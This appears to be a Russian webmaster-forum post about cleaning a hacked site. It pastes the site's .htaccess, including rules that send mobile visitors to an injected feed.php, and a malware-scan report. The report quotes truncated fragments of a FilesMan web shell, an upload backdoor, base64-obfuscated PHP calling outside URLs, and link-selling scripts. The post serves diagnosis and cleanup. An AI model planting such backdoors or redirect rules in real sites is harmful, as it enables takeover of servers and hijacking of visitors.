G-and-Y

siv1987:
Кроме пару кривых правил - нету.

php_flag error_reporting 0
php_value date.timezone Europe/Moscow

AddDefaultCharset windows-1251
RewriteEngine on
DirectoryIndex index.php

ErrorDocument 400 /error.php?step=400
ErrorDocument 401 /error.php?step=401
ErrorDocument 403 /error.php?step=403
ErrorDocument 404 /error.php?step=404
ErrorDocument 500 /error.php?step=500


RewriteRule ^([^\/\.]+).html?$ /index.php?file=detail&seo=$1 [L]
RewriteRule ^([^\/\.]+)/?$ /index.php?file=$1 [L]
RewriteRule ^calendar/([^\/\.]+)\.([0-9]{1,15})\.([0-9]{1,15})\.([0-9]{1,15})/([0-9]{1,15})/?$ /index.php?file=calendar&content=$1&day=$2&month=$3&year=$4&step=$5 [L]
RewriteRule ^([^\/\.]+)/([0-9]{1,15})/?$ /index.php?file=$1&step=$2 [L]
RewriteRule ^([^\/\.]+).rss?$ /rss.php?step=$1 [L]
RewriteCond %{HTTP_HOST} ^site.ru\.cat\-ua\.com$ [OR]
RewriteCond %{HTTP_HOST} ^www\.site.ru\.cat\-ua\.com$
RewriteRule ^/?$ "http\:\/\/site.ru\.ru\/" [R=301,L]

AddDefaultCharset UTF-8
DirectoryIndex feed.php
Options -Indexes

RewriteEngine On
RewriteBase /class/

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule feed.php.* - [L]

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* feed.php?url=$0 [L,QSA]

RewriteCond %{HTTP_USER_AGENT} MIDP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} WAP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Windows.CE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Symbian [NC]

RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]

RewriteRule ^(.*)$ feed.php?m=1 [L]

Критические замечания
Найдены сигнатуры шелл-скрипта. Подозрение на вредоносный скрипт:
Путь Дата создания Дата модификации Размер CRC32
C:\1\1/administrator/theme/img/flash.htm
dden" name="task" value="logout" /> <input type="hidden" name="return" value=|"aHR0cDovL2ZsYXNoY3MucnUv" /> </span> </span> </span> </form> <
22/02/2014 21:11:17
05/04/2013 08:08:18
93.90 Kb
946678180
C:\1\1/administrator/tiny_mce/plugins/advimage/js/xml_parser_get_option.php
FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; /*4*/ |preg_replace("/.*/e","eval(gzinflate(base64_decode('7X1re9s2z/Dn9VcwmjfZq+PYTtu
22/02/2014 21:11:18
18/03/2013 22:12:58
22.80 Kb
-1502405795
C:\1\1/administrator/tiny_mce/plugins/autosave/images/pow.php
<?php |if(!empty($_FILES['message']['name']) AND (md5($_POST['nick']) == '211df628e552
22/02/2014 21:11:18
19/03/2013 10:47:54
885 b
-1411040783
C:\1\1/administrator/tiny_mce/themes/simple/skins/default/odbc_field_precision.php
<?php |if(!empty($_FILES['message']['name']) AND (md5($_POST['nick']) == '211df628e552
22/02/2014 21:11:18
19/03/2013 10:47:54
885 b
-1411040783
C:\1\1/class/feed.php
('aGVhZGVy'),base64_decode('aGVhZGVy')); ?><? function _1819737211($i){$a=Array(|'aHR0cDovL21peHNvZnQub3JnL21peHNvZnQ5NjU0MDUzODI3Lw==','aHR0cDovL21peHNvZnQub3J
22/02/2014 21:11:14
12/02/2013 17:15:24
1.95 Kb
-352464762
C:\1\1/file/index.php
ase64_decode('aGVhZGVy')); ?><? function _2132921356($i){$a=Array('aWQ=','aWI=',|'aHR0cDovL3huLS0tMjAxMi1td2U4YTNkNWUueG4tLXAxYWkvbmV3LzAyLzIyLzEyLw==','LmNzcw=
22/02/2014 21:11:14
22/02/2013 21:51:10
2.03 Kb
-324524133
C:\1\1/php/.htaccess
L] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f |RewriteRule .* index.php?url=$0 [L,QSA Эвристический анализ обнаружил подозрительные файлы. Проверьте их на наличие вредоносного кода.
C:\1\1/file/index.php (Подозрение на обфусцированные переменные)
Список скрытых файлов:
C:\1\1/.aignore
C:\1\1/.aurlignore
C:\1\1/.htaccess
C:\1\1/class/.htaccess
C:\1\1/file/.htaccess
C:\1\1/php/.htaccess
Не найдено директорий c дорвеями
Предупреждения
Опасный код в .htaccess (редирект на внешний сервер, подмена расширений или автовнедрение кода):
Путь Дата создания Дата модификации Размер CRC32
C:\1\1/class/.htaccess
%{REQUEST_FILENAME} !-f RewriteRule .* feed.php?url=$0 [L,QSA] RewriteCond |%{HTTP_USER_AGENT} MIDP [NC,OR] RewriteCond %{HTTP_USER_AGENT} WAP [NC,OR] Re
22/02/2014 21:11:14
12/02/2013 17:15:12
1.38 Kb
-836031535
В этих файлах размещен код по продаже ссылок. Убедитесь, что размещали его вы:
Путь Дата создания Дата модификации Размер CRC32
C:\1\1/1c8d236addf1d2f9eb15f6437de1f0e3/links.db
a:319:{s:18:"|__sape_delimiter__";s:2:;s:12:"__for_user__";s:32:"1c8d236addf1d2f9eb15f6437de1
22/02/2014 21:11:14
19/01/2014 01:33:04
64.71 Kb
-1713547925
C:\1\1/1c8d236addf1d2f9eb15f6437de1f0e3/sape.php
{ $this->_links = $data; } if (isset($this->_links['|__sape_delimiter__'])) { $this->_links_delimiter = $this->_links['_ 22/02/2014 21:11:14
05/03/2012 04:10:20
60.65 Kb
-1871783380
C:\1\1/ddfd9713d3ffb6721bfed2541e34fba4fac5ebbb/trustlink.php
FAULT'; var $tl_use_ssl = false; var $tl_server = '|db.trustlink.ru'; var $tl_cache_lifetime = 3600; var $tl_cache_reloa
22/02/2014 21:11:14
16/05/2013 23:26:26
20.57 Kb
1582988665
C:\1\1/index.php
e_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php'); $sape = new |SAPE_client(); $global->sape1 = $sape->return_links(2); //...links(*) ? ?????
22/02/2014 21:11:19
05/03/2012 04:28:28
1.16 Kb
-939289853